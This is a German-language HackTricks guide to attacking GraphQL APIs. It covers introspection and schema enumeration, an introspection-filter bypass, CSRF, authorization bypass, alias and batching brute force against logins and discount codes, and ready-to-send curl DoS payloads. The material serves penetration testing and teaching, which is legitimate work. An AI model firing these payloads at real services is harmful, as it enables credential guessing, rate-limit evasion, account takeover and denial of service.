GraphQL
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Einführung
GraphQL wird als effiziente Alternative zu REST API hervorgehoben und bietet einen vereinfachten Ansatz zum Abfragen von Daten aus dem Backend. Im Gegensatz zu REST, das häufig zahlreiche Anfragen an verschiedene Endpunkte erfordert, ermöglicht GraphQL das Abrufen aller benötigten Informationen mit einer einzigen Anfrage. Diese Vereinfachung erleichtert Entwicklern die Datenabfragen, indem sie die Komplexität reduziert.
GraphQL und Sicherheit
Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch neue Sicherheitslücken. Ein wichtiger Punkt ist, dass GraphQL nicht standardmäßig Authentifizierungsmechanismen enthält. Es liegt in der Verantwortung der Entwickler, solche Sicherheitsmaßnahmen zu implementieren. Ohne angemessene Authentifizierung können GraphQL-Endpunkte sensible Informationen für nicht authentifizierte Benutzer offenlegen und somit ein erhebliches Sicherheitsrisiko darstellen.
Directory Brute Force Attacks and GraphQL
Um exponierte GraphQL-Instanzen zu identifizieren, empfiehlt es sich, bestimmte Pfade in Directory Brute Force Attacks einzubeziehen. Diese Pfade sind:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Das Identifizieren offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend, um die über den Endpunkt zugänglichen Daten zu verstehen. Das Introspection-System von GraphQL erleichtert dies, indem es die Abfragen auflistet, die ein Schema unterstützt. Für weitere Informationen siehe die GraphQL-Dokumentation zur Introspection: GraphQL: A query language for APIs.
Fingerprint
Das Tool graphw00f kann erkennen, welche GraphQL-Engine auf einem Server verwendet wird, und gibt dann hilfreiche Informationen für den Sicherheitsprüfer aus.
Universelle Abfragen
Um zu prüfen, ob eine URL ein GraphQL-Service ist, kann eine universelle Abfrage, query{__typename}, gesendet werden. Wenn die Antwort {"data": {"__typename": "Query"}} enthält, bestätigt das, dass die URL einen GraphQL-Endpunkt hostet. Diese Methode basiert auf dem __typename-Feld von GraphQL, das den Typ des abgefragten Objekts offenbart.
query{__typename}
Grundlegende Enumeration
Graphql unterstützt normalerweise GET, POST (x-www-form-urlencoded) und POST(json). Aus Sicherheitsgründen wird jedoch empfohlen, nur json zu erlauben, um CSRF-Angriffe zu verhindern.
Introspektion
Um Introspektion zu nutzen, um Schema-Informationen zu entdecken, frage das Feld __schema ab. Dieses Feld ist auf dem Root-Typ aller Abfragen verfügbar.
query={__schema{types{name,fields{name}}}}
Mit dieser Abfrage findest du die Namen aller verwendeten Typen:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Mit dieser Abfrage kannst du alle Typen, ihre Felder und ihre Argumente (und den Typ der Argumente) extrahieren. Das ist sehr nützlich, um zu wissen, wie man die Datenbank abfragt.
.png)
Fehler
Es ist interessant zu wissen, ob die Fehler angezeigt werden, da sie nützliche Informationen liefern.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Datenbankschema mittels Introspektion auflisten
Tip
Wenn Introspektion aktiviert ist, die obenstehende Abfrage aber nicht ausgeführt wird, versuchen Sie, die Direktiven
onOperation,onFragmentundonFieldaus der Struktur der Abfrage zu entfernen.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Inline-Introspektionsabfrage:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Die letzte Codezeile ist eine graphql query, die alle Meta-Informationen vom graphql ausgibt (Objektnamen, Parameter, Typen…)
.png)
Wenn introspection aktiviert ist, kannst du GraphQL Voyager verwenden, um alle Optionen in einer GUI anzuzeigen.
Abfragen
Da wir nun wissen, welche Art von Informationen in der Datenbank gespeichert sind, versuchen wir, einige Werte zu extrahieren.
In der introspection kannst du herausfinden, welches Objekt du direkt abfragen kannst (denn nur weil ein Objekt existiert, bedeutet das nicht, dass du es abfragen kannst). In der folgenden Abbildung siehst du, dass der “queryType” “Query” heißt und dass eines der Felder des “Query”-Objekts “flags” ist, das ebenfalls ein Objekttyp ist. Daher kannst du das Flag-Objekt abfragen.

Beachte, dass der Typ der Abfrage “flags” “Flags” ist, und dieses Objekt wie folgt definiert ist:
.png)
Du siehst, dass die “Flags”-Objekte aus name und value bestehen. Dann kannst du mit der Query alle Namen und Werte der Flags bekommen:
query={flags{name, value}}
Beachte, dass falls das Objekt, das abgefragt werden soll ein primitiver Typ wie string ist, wie im folgenden Beispiel
.png)
Du kannst es einfach wie folgt abfragen:
query = { hiddenFlags }
In einem anderen Beispiel, in dem sich 2 Objekte innerhalb des Typ-Objekts “Query” befanden: “user” und “users”.
Wenn diese Objekte keine Argumente zum Suchen benötigen, kann man einfach alle Informationen aus ihnen abrufen, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet konnte man die gespeicherten usernames und passwords extrahieren:
.png)
Allerdings, in diesem Beispiel, wenn du das versuchst, erhältst du diesen Fehler:
.png)
Es sieht so aus, als würde irgendwie mit dem Argument “uid” vom Typ Int gesucht.
Wie auch immer, das wussten wir bereits — in der Basic Enumeration Sektion wurde eine Query vorgeschlagen, die uns alle benötigten Informationen zeigte: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Wenn du das Bild liest, das ich beim Ausführen dieser Query gezeigt habe, wirst du sehen, dass “user” das Argument “uid” vom Typ Int hat.
Also, nach einem leichten uid-Bruteforce fand ich heraus, dass bei uid=1 ein Benutzername und ein Passwort zurückgegeben wurden:query={user(uid:1){user,password}}
.png)
Beachte, dass ich entdeckt habe, dass ich die Parameter “user” und “password” anfragen konnte, weil wenn ich versuche, nach etwas zu suchen, das nicht existiert (query={user(uid:1){noExists}}), ich diesen Fehler bekomme:
.png)
Und während der Enumeration-Phase entdeckte ich, dass das Objekt “dbuser” die Felder “user” und “password” hatte.
Query string dump trick (thanks to @BinaryShadow_)
If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using “theusers” by a String field called “description”).
Suche
In diesem Setup enthält eine database persons und movies. Persons werden durch ihre email und name identifiziert; movies durch ihren name und rating. Persons können miteinander befreundet sein und haben außerdem movies, was Beziehungen innerhalb der database anzeigt.
Du kannst persons nach dem name suchen und ihre emails erhalten:
{
searchPerson(name: "John Doe") {
email
}
}
Du kannst Personen nach dem Namen suchen und ihre abonnierten Filme abrufen:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Beachte, wie angegeben ist, den name der subscribedMovies der Person abzurufen.
Du kannst auch mehrere Objekte gleichzeitig durchsuchen. In diesem Fall werden 2 Filme durchsucht:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Oder sogar Beziehungen mehrerer unterschiedlicher Objekte mit Aliasen:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutationen
Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.
In der Introspektion kannst du die deklarierten Mutationen finden. Im folgenden Bild heißt der “MutationType” “Mutation” und das “Mutation”-Objekt enthält die Namen der Mutationen (wie “addPerson” in diesem Fall):
.png)
In diesem Setup enthält eine Datenbank Personen und Filme. Personen werden anhand ihrer email und name identifiziert; Filme anhand ihres name und rating. Personen können untereinander befreundet sein und außerdem Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
Eine Mutation, um neue Filme in der Datenbank zu erstellen, könnte wie folgt aussehen (in diesem Beispiel heißt die Mutation addMovie):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Beachte, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.
Zusätzlich unterstützt die Datenbank eine mutation-Operation namens addPerson, die die Erstellung von Personen sowie deren Verknüpfungen zu vorhandenen Freunden und Filmen ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank existieren müssen, bevor sie mit der neu erstellten Person verknüpft werden.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
Wie in one of the vulns described in this report erklärt, führt ein directive overloading dazu, eine Directive sogar millionenfach aufzurufen, damit der Server Operationen verschwendet, bis ein DoS möglich wird.
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Authentifizierung über GraphQL API durch gleichzeitiges Senden vieler queries mit unterschiedlichen Zugangsdaten, um dies zu prüfen. Es ist ein klassischer brute-force-Angriff, aber jetzt ist es aufgrund der GraphQL batching-Funktion möglich, mehr als ein Login/Password-Paar pro HTTP-Request zu senden. Dieser Ansatz täuscht externe Rate-Monitoring-Anwendungen und lässt sie denken, alles sei in Ordnung und es sei kein brute-forcing-Bot aktiv, der Passwörter errät.
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
Wie aus dem Response-Screenshot ersichtlich, lieferten die erste und dritte Anfragen null und spiegelten die entsprechenden Informationen im error-Abschnitt wider. Die second mutation hatte die korrekten Authentifizierungsdaten und die Antwort enthält das korrekte authentication session token.
 (1).png)
GraphQL Without Introspection
Immer mehr graphql endpoints are disabling introspection. Allerdings reichen die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage eingeht, aus, damit Tools wie clairvoyance den Großteil des schema rekonstruieren können.
Außerdem beobachtet die Burp Suite-Erweiterung GraphQuail GraphQL API requests going through Burp und baut bei jeder neuen Query, die sie sieht, ein internes GraphQL schema auf. Sie kann das schema auch für GraphiQL und Voyager bereitstellen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine introspection-Query erhält. Infolgedessen zeigt GraphQuail alle Queries, Argumente und Felder, die innerhalb der API verwendet werden können. Weitere Infos: see this.
Eine nützliche wordlist, um GraphQL-Entities zu entdecken, findet man hier.
Bypassing GraphQL introspection defences
To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. Diese Methode nutzt häufige Entwickler-Fehler in regex-Patterns aus, die introspection blockieren sollen, indem sie sich auf das __schema-Keyword konzentrieren. Durch das Hinzufügen von Zeichen wie Leerzeichen, Zeilenumbrüchen und Kommas, die GraphQL ignoriert, in regex aber möglicherweise nicht berücksichtigt werden, lassen sich Beschränkungen umgehen. Zum Beispiel kann eine introspection-Query mit einem Zeilenumbruch nach __schema solche Abwehrmaßnahmen umgehen:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Wenn das fehlschlägt, erwäge alternative Anfragemethoden, z. B. GET requests oder POST with x-www-form-urlencoded, da Beschränkungen möglicherweise nur für POST requests gelten.
WebSockets ausprobieren
Wie in this talk erwähnt, prüfe, ob eine Verbindung zu graphQL über WebSockets möglich ist, da dies dir erlauben könnte, einen möglichen WAF zu umgehen und die websocket communication das Schema von graphQL leak zu lassen:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Entdeckung exponierter GraphQL-Strukturen
Wenn introspection deaktiviert ist, ist das Untersuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können über den Sources-Tab in den Developer Tools gefunden werden, liefern Einblicke in das Schema der API und offenbaren möglicherweise offengelegte sensible Abfragen. Die Befehle, um innerhalb der Developer Tools zu suchen, lauten:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Fehlerbasierte Schema-Rekonstruktion & Engine-Fingerprinting (InQL v6.1+)
When introspection is blocked, InQL v6.1+ can now reconstruct the reachable schema purely from error feedback. The new Schema-Bruteforcer batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:
Field 'bugs' not found on type 'inql'bestätigt die Existenz des übergeordneten Typs, während ungültige Feldnamen verworfen werden.Argument 'contribution' is requiredzeigt, dass ein Argument zwingend ist und offenbart dessen Schreibweise.- Suggestion hints such as
Did you mean 'openPR'?werden als validierte Kandidaten zurück in die Queue gespeist. - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like
[Episode!].
Der Bruteforcer rekursiert weiter über jeden Typ, der neue Felder liefert; eine Wortliste, die generische GraphQL-Namen mit anwendungsspezifischen Vermutungen mischt, wird so letztlich große Teile des Schemas ohne Introspection abbilden. Die Laufzeit wird hauptsächlich durch Rate-Limiting und die Kandidatenmenge begrenzt, daher ist das Feintuning der InQL-Einstellungen (wordlist, batch size, throttling, retries) entscheidend für unauffälligere Engagements.
In derselben Version enthält InQL außerdem einen GraphQL engine fingerprinter (borrowing signatures from tools like graphw00f). Das Modul sendet absichtlich ungültige directives/queries und klassifiziert das Backend, indem es den genauen Fehlertext abgleicht. Zum Beispiel:
query @deprecated {
__typename
}
- Apollo antwortet mit
Directive "@deprecated" may not be used on QUERY. - GraphQL Ruby antwortet
'@deprecated' can't be applied to queries.
Sobald eine Engine erkannt wird, zeigt InQL den entsprechenden Eintrag aus der GraphQL Threat Matrix an und hilft Testern, Schwachstellen zu priorisieren, die mit dieser Serverfamilie ausgeliefert werden (Standardverhalten bei Introspektion, Tiefenbegrenzungen, CSRF-Lücken, Datei-Uploads usw.).
Schließlich beseitigt automatic variable generation einen klassischen Blocker beim Pivotieren in Burp Repeater/Intruder. Wann immer eine Operation ein variables JSON erfordert, injiziert InQL jetzt sinnvolle Standardwerte, sodass die Anfrage beim ersten Senden die Schema-Validierung besteht:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Verschachtelte Input-Objekte übernehmen dieselbe Zuordnung, sodass du sofort ein syntaktisch und semantisch gültiges payload erhältst, das für SQLi/NoSQLi/SSRF/logic bypasses gefuzzed werden kann, ohne jedes Argument manuell reverse-engineeren zu müssen.
CSRF in GraphQL
Wenn du nicht weißt, was CSRF ist, lies die folgende Seite:
CSRF (Cross Site Request Forgery)
Dort wirst du mehrere GraphQL-Endpunkte finden, die ohne CSRF tokens konfiguriert sind.
Beachte, dass GraphQL-Anfragen normalerweise via POST-Requests gesendet werden und den Content-Type application/json verwenden.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Die meisten GraphQL-Endpunkte unterstützen jedoch auch form-urlencoded POST-Anfragen:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Da CSRF-Requests wie die vorherigen ohne preflight requests gesendet werden, ist es möglich, durch Ausnutzung eines CSRF Änderungen vorzunehmen in GraphQL.
Beachte jedoch, dass der neue Standardwert des Cookies für das samesite-Flag in Chrome Lax ist. Das bedeutet, dass das Cookie nur bei GET-Anfragen von einer Drittanbieter-Website gesendet wird.
Beachte, dass es üblicherweise möglich ist, die query request auch als GET request zu senden und der CSRF-Token möglicherweise bei einer GET-Anfrage nicht validiert wird.
Außerdem kann durch Ausnutzung eines XS-Search attack möglicherweise Inhalt vom GraphQL-Endpunkt exfiltriert werden, indem die Anmeldeinformationen des Benutzers missbraucht werden.
Für weitere Informationen siehe original post here.
Cross-site WebSocket hijacking in GraphQL
Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, eine Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies durchzuführen und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
Für weitere Informationen siehe:
Autorisierung in GraphQL
Viele GraphQL-Funktionen, die am Endpoint definiert sind, prüfen möglicherweise nur die Authentifizierung des Anfragenden, nicht jedoch die Autorisierung.
Das Modifizieren von query input variables könnte dazu führen, dass sensible Kontodaten leaked.
Mutation könnte sogar zu einem account takeover führen, wenn versucht wird, Daten anderer Accounts zu ändern.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Umgehen der Autorisierung in GraphQL
Die Verwendung von Chaining queries kann ein schwaches Authentifizierungssystem umgehen.
Im folgenden Beispiel sieht man, dass die Operation “forgotPassword” ist und dass eigentlich nur die damit verbundene forgotPassword query ausgeführt werden sollte. Dies kann umgangen werden, indem am Ende eine weitere query angehängt wird — in diesem Fall fügen wir “register” und eine user-Variable hinzu, damit das System einen neuen Benutzer registriert.
Bypassing Rate Limits Using Aliases in GraphQL
In GraphQL sind aliases eine mächtige Funktion, die das explizite Benennen von Eigenschaften bei einer API-Anfrage ermöglicht. Diese Fähigkeit ist besonders nützlich, um mehrere Instanzen desselben Objekttyps in einer einzigen Anfrage abzurufen. Aliases können eingesetzt werden, um die Beschränkung zu umgehen, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
Für ein detailliertes Verständnis von GraphQL aliases wird folgende Ressource empfohlen: Aliases.
Während der Hauptzweck von aliases darin besteht, die Notwendigkeit zahlreicher API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem aliases genutzt werden können, um brute force attacks auf einen GraphQL-Endpunkt durchzuführen. Das ist möglich, weil einige Endpunkte durch rate limiters geschützt sind, die brute force attacks durch die Beschränkung der Anzahl der HTTP requests abwehren sollen. Diese rate limiters berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da aliases die Einschließung mehrerer queries in eine einzelne HTTP request erlauben, können sie solche Ratenbegrenzungen umgehen.
Betrachten Sie das folgende Beispiel, das zeigt, wie aliased queries verwendet werden können, um die Gültigkeit von store discount codes zu prüfen. Diese Methode könnte rate limiting umgehen, da sie mehrere queries in eine einzige HTTP request kompiliert und so möglicherweise die gleichzeitige Überprüfung zahlreicher discount codes ermöglicht.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading ist eine GraphQL-Schwachstelle, bei der Angreifer eine Query mit vielen Aliases für dasselbe Feld überladen, sodass der Backend-Resolver dieses Feld wiederholt ausführt. Das kann Server-Ressourcen überlasten und zu einem Denial of Service (DoS) führen. Zum Beispiel wird in der folgenden Query dasselbe Feld (expensiveField) 1.000 Mal mit Aliases angefordert, wodurch das Backend gezwungen wird, es 1.000 Mal zu berechnen und dabei CPU oder Speicher zu erschöpfen:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Um dem entgegenzuwirken, implementieren Sie alias count limits, query complexity analysis oder rate limiting, um Ressourcenmissbrauch zu verhindern.
Array-based Query Batching
Array-based Query Batching ist eine Schwachstelle, bei der eine GraphQL API das batching mehrerer queries in einer einzelnen Anfrage erlaubt, wodurch ein Angreifer eine große Anzahl von queries gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebatchten queries parallel ausgeführt werden, übermäßig viele Ressourcen (CPU, memory, database connections) verbrauchen und potenziell zu einem Denial of Service (DoS) führen. Wenn keine Begrenzung für die Anzahl der queries in einem batch existiert, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
In diesem Beispiel werden 10 verschiedene queries zu einer einzigen Anfrage gebündelt, wodurch der Server gezwungen wird, alle gleichzeitig auszuführen. Wenn dies mit einer größeren Batch-Größe oder mit rechenintensiven queries ausgenutzt wird, kann der Server überlastet werden.
Directive Overloading Vulnerability
Directive Overloading tritt auf, wenn ein GraphQL-Server queries mit übermäßigen, duplizierten directives zulässt. Das kann den Parser und Executor des Servers überlasten, insbesondere wenn der Server wiederholt dieselbe directive-Logik verarbeitet. Ohne geeignete Validierung oder Limits kann ein Angreifer dies ausnutzen, indem er eine query mit zahlreichen duplizierten directives erstellt, um hohen Rechen- oder Speicheraufwand zu verursachen und so zu einem Denial of Service (DoS) zu führen.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Beachte, dass im vorherigen Beispiel @aa eine benutzerdefinierte Direktive ist, die möglicherweise nicht deklariert wurde. Eine häufig vorhandene Direktive ist @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Sie können auch eine Introspektionsabfrage senden, um alle deklarierten Direktiven zu entdecken:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Und dann verwende einige der benutzerdefinierten.
Field Duplication Vulnerability
Field Duplication ist eine Schwachstelle, bei der ein GraphQL-Server Abfragen zulässt, in denen dasselbe Feld übermäßig oft wiederholt wird. Dadurch wird der Server gezwungen, das Feld für jede Instanz redundant aufzulösen, wodurch erhebliche Ressourcen verbraucht werden (CPU, Speicher und Datenbankaufrufe). Ein Angreifer kann Abfragen mit Hunderten oder Tausenden wiederholter Felder erstellen, was zu hoher Last führt und möglicherweise in einem Denial of Service (DoS) endet.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 